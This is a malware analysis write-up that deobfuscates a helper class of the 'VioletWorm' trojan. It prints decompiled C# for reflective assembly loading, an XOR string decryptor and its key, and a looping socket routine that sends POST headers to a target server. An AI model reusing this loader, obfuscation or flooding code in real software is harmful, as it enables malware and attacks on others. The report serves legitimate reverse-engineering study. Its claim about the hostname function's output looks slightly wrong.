← Reports

Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author
Moise Medici
Updated
07 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Dropping Secondary PayloadsPersistence MechanismsCommand and Control C2 CommunicationCommand Execution via Powershell Cmd BashData-ExfiltrationFile EncryptionKeyloggingScreen CaptureWebcam AccessClipboard ManipulationCredential TheftAMSI and ETW BypassSandbox and VM EvasionReflective Code LoadingUSB SpreadingDenial of Service
Tags
pythonC#

Class HVJGiDs

Looking at the functions analyzed so far, we can start assuming that this module is more of a helper module: a collection of utilities serving different purposes. For example getCustomRegKeyValue, getAllInstalledAntivirus and AESEncrypt.

Three of the functions can be renamed straight away, as they are one liners:

Obfuscated NameRenamed as
aPi06aUqWya5Wdc3u6WCGetStringFromBytes
r694uAoC8GKqgre2HtR4Base64StrToObj
7XNeKovXxddrxYYbZDMrDecodeBase64
lTCtpaW5slTDgGCGBjkhAESDecrypt
p89P3jjxhP8vhM1ikHQbCloseMutex

Regarding lTCtpaW5slTDgGCGBjkh, note that it is exactly the same as the AESEncrypt analyzed previously, with the difference of calling rijndaelManaged.CreateDecryptor(); instead of rijndaelManaged.CreateEncryptor();.

The others are worth a closer look.

Core.HVJGiDs
public static object fkgzobW0ngP3zwsJcXYg(string byt)
{
return RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(HVJGiDs.5QbbZpqDXurfG3EHp9gS((byte[])HVJGiDs.Base64StrToObj(byt), Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTJ4aGMzTXg=")))))));
}

The function takes a string as input and uses it as the first argument in the call to 5QbbZpqDXurfG3EHp9gS, with the encoded string Class1 as the second argument.

In 5QbbZpqDXurfG3EHp9gS the first argument is used to load its content via Assembly.Load, to then iterate over the loaded modules and create an instance of the first module that ends with .Class1. This is a reflective code loading technique, which will become clearer once the value of b is found.

Core.HVJGiDs
public static object 5QbbZpqDXurfG3EHp9gS(byte[] b, string c)
{
foreach (Module module in Assembly.Load(b).GetModules())
{
foreach (Type type in module.GetTypes())
{
if (type.FullName.EndsWith(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("TGc9PQ==")))) + c))
{
return module.Assembly.CreateInstance(type.FullName);
}
}
}
return null;
}

So far we can simply rename fkgzobW0ngP3zwsJcXYg to CallerToReflectiveCodeLoading and 5QbbZpqDXurfG3EHp9gS to ReflectiveCodeLoading.

Moving on, the following function creates a Mutex using what we called EncodedConstants.randomString as the mutex name. The function can be renamed to CreateMutex and the variable to mutexName.

Core.HVJGiDs
public static bool KzTgb7KVcsPa1FaAyD28()
{
bool flag;
EncodedConstants.mutexVar = new Mutex(false, EncodedConstants.randomString, out flag);
return flag;
}

The next function takes a base64 string as input and returns a new string. The input is decoded from base64 back to a normal string, which is then XOR’ed with the word EPERGYn, and the result is returned, thus renaming it to DecryptXOR.

Core.HVJGiDs
public static string oMeXTUsPdrPqnrA2VvEf(string encryptedText)
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UlZCRlVrZFpiZz09"))));
List<char> list = new List<char>();
int num = 0;
byte[] array = Convert.FromBase64String(encryptedText);
checked
{
foreach (byte b in array)
{
char c = Strings.Chr((int)((byte)((int)b ^ Strings.Asc(@string[num]))));
list.Add(c);
num = (num + 1) % @string.Length;
}
return new string(list.ToArray());
}
}

We can already test this function by looking a few lines below at the variable taZblXKWji0WVQe5J2uuGoogle, an array of strings where each element contains the result of the XORDecrypt function applied to a different string:

Core.HVJGiDs
private static readonly string[] taZblXKWji0WVQe5J2uuGoogle = new string[]
{
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5SWTFaUFEyODRTVzFLVDBKblFWRmphVFJLUW1sdkswbElTVWxEYXpVd1drSndiVnA2VlVoTWFsWnNTSGxaTmxSbmIwUmFVWEIxWlZNNE1VbERhek5GUkhkTlJHcHJlR1pZUm5CWE1uUm9ZVEpPZVdWVldVOUhRa1ZtUXpOV1QwdFVhM1ZPTW1ObFEzbFpOMHR1ZEc1RWQzTXpTWGwzT1V0WVdtWmpXRFV4WTJoUk5FTkRVV2xNU0RFdllrVkNNV1p1VW5Ka1YzaEJaRWRvZHc9PQ=="))))),
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5VYTNOUWFVVTVUVU53VDBOM1VteGFSMnh2VmxkVlNFeEVlSGhpVmxac1MwaE9iV0p1YTNCSlJFMTFVRmRvY2xodVVtZGtWMDR6WVVVMFJFOVVZek5KVkZsWFlXMWFNbVpJWkROWGJrWnVaRE40ZUdKc09EMD0="))))),
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5UVFd0TmVYYzRUWHBaWkV4WGRHeEhlV3QwUTNsc2QwTkVUV3RsVTBWWFkwSXhlV1J0YTNoa1IxVmhXbGMxTlV4NlZXZExWR05SVUVGM1QwOVVSamxqYlhCYVlUSk9lbU50T0ZOS2FFVmtRMWcxYms1UlkzVk9WMVZXU1dwdlJrdHViR3hGVXpoeVFWTm5NV0Z0VGpKaWEwSXhabTVDY21SSFJrRm1SMHBzUVZOWkwwUjZZelZoYldRd1ltdENNbHBuUFQwPQ=="))))),
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5SWTFaUFEyODRTVzFLVDBKblFWRmphVFJLUW1sdkswbElTVWxEYXpVd1dtaHdaMXA2VlVoTWFsWnNTSGxaTmxSbmIwUmFVWEIxWlZNNE1VbERhek5GUkhkTlJHcHJlR1pZUm5CWE1uUm9ZVEpPZVdWVldVOUhRa1ZtUXpOV1QwdFVhM1ZPTW1ObFEzbFpOMHR1ZEc1RWQzTXpTWGwzT1V0WVdtWmpNelV4WTJkdk1rUkRkemhKU0RFeVlrTjBNRnBJTVhsR1JHZEpTa05KYzJaWVJuQlhiWFJv"))))),
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5VV2pCWldEVjVRM3BCUVUxRGFHeExiamwyVFZoT2EySklTVWRMVWpSd1RsSkpNMHBTU1VoTldEbDNXVmhDTTFoWVRuZGlVbXRRUkZOTlNtWkhWU3RNYWtsTVdsSmpaMDFUZHpKU01sVlVURk5CYjA1QmRIRlpXRkpzWVZkc1FXTkhiREpoYld4bldFZFZSRXBFVVcxTGQyUnhXbGhhYkdGWGNGaz0="))))),
HVJGiDs.DecryptXOR(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UTBRNEwwOTVjekZFTW5Cc1lUSktibU5SWTFaTlUwWndXbmh2SzBWSVFVdEJWMlJ2VjNod2JscFVOSFZOWjNSc1NGTlJlRnA0V1RsYVVXaHpZMmRaY0VocGF6RkZhbU5zUldkamVHWXpUbWxqYm1SbVlUSkdkMk50T0ZOS2FFVmtRMWcxYms1UlkzVk9WMVZXU1dwdlJrdHViR3hDUTBseVNGTjNMMHN6TVRKaVJVSjZZMEZuT1VwVVFVTkpTRGt3V25kS2IxZHVNWGRHYWsxb1QwSjNjMll6VG1sak0yUm0=")))))
};

To test it, the CyberChef recipe needs to decode “From Base64” three times: twice for this function and once for the XORDecrypt. The recipe then finishes with the “XOR” block, using the UTF-8 key EPERGYn.

The CyberChef recipe, three From Base64 passes then XOR with the UTF-8 key EPERGYn, decoding one array entry to an iPhone Safari user agent.
Fig. 6: The CyberChef recipe, three From Base64 passes then XOR with the UTF-8 key EPERGYn, decoding one array entry to an iPhone Safari user agent.

Applying the same recipe to all the values gives a list of different user agents, hence we can rename the variable as userAgents.

Core.HVJGiDs
private static readonly string[] userAgents = new string[]
{
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/85.0.1925.185",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) Gecko/20100101 Firefox/63.0.4472.671",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.92 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.92 Safari/537.36",
"Mozilla/5.0 (iPad; CPU OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Mobile/15E148 Safari/604.1"
};

While we are here, we can analyse the function that uses the userAgents variable:

Core.HVJGiDs
private static void X81n98wZEfj4aOjIaufq()
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.Connect(HVJGiDs.6MeN1rY1h2gdCBG02MHxGoogle, Convert.ToInt32(HVJGiDs.m1GOYu9sd97gn3DhvLKuGoogle));
string text = string.Concat(new string[]
{
Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VUU5VFZDQXZJRWhVVkZBdk1TNHhEUXBJYjNOME9pQT0=")))),
HVJGiDs.6MeN1rY1h2gdCBG02MHxGoogle,
Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("RFFwRGIyNXVaV04wYVc5dU9pQnJaV1Z3TFdGc2FYWmxEUXBEYjI1MFpXNTBMVlI1Y0dVNklHRndjR3hwWTJGMGFXOXVMM2d0ZDNkM0xXWnZjbTB0ZFhKc1pXNWpiMlJsWkEwS1ZYTmxjaTFCWjJWdWREb2c=")))),
HVJGiDs.userAgents[new Random().Next(HVJGiDs.userAgents.Length)],
Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("RFFwRGIyNTBaVzUwTFd4bGJtZDBhRG9nTlRJek5RMEtEUW89"))))
});
byte[] bytes = Encoding.UTF8.GetBytes(text);
socket.Send(bytes, 0, bytes.Length, SocketFlags.None);
socket.Dispose();
}
catch (Exception ex)
{
}
}

It is easy to see that 6MeN1rY1h2gdCBG02MHxGoogle and m1GOYu9sd97gn3DhvLKuGoogle are respectively the server IP address or name and the port to establish the connection with, although it is still not known where they are set.

The content of text is formed by the usual double Base64 obfuscation, and the result is:

POST / HTTP/1.1
Host: <the value of the server variable>
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
User-Agent: <one of the user agents found above, picked randomly>
Content-length: 5235

The text is then sent via the socket. There does not seem to be any other content inside, so this might be a ping-like functionality. For now the name MaybePing should be fine; if it is later seen in use, it can be refined or confirmed based on the context.

A couple of functions are left for this module. The first one:

Core.HVJGiDs
public static object oVADchxTnqSguYmViqUp()
{
for (;;)
{
Thread thread = new Thread(new ThreadStart(HVJGiDs.MaybePing));
thread.Start();
thread.Join();
}
object obj;
return obj;
}

This calls MaybePing indefinitely but in a serial fashion, since a single thread is created inside the loop and the Join makes the process wait for the thread to finish before it continues.

This is an odd function, since we know the MaybePing function is not sending any data, it is simply instantiating a connection to the target server, hence why I am not referring to it as a “C2 server”: it is not known how it is used yet. But in this case it actually seems like it is the target server of some sort of DOS attack that is not very well implemented. The reason why I am saying that is that the MaybePing function has a Send followed by a Dispose call, which basically kills the connection, allowing the target to free up the connection pull. The point of this type of attack is to consume the pool of open connections against the target by not closing the connection. Here what is happening is that a thread starts, it opens a connection against the target, it sends an empty POST request, closes the connection and restarts. It is very unlikely to do anything harmful to the target. So the MaybePing function can be renamed as EmptyPost, and oVADchxTnqSguYmViqUp will be named as LoopEmptyPost.

The last function is:

Core.HVJGiDs
public static string vfkFXmDGXwQ4z7D3Mbkb(string Address)
{
string text;
try
{
text = new Uri(Address).DnsSafeHost;
}
catch (Exception ex)
{
text = Address;
}
return text;
}

which takes a URL and returns the bare hostname: for example, from https://www.example.com/abcd it will return example.com only. This can be renamed as GetHostname.

Overall the class is renamed as Helpers.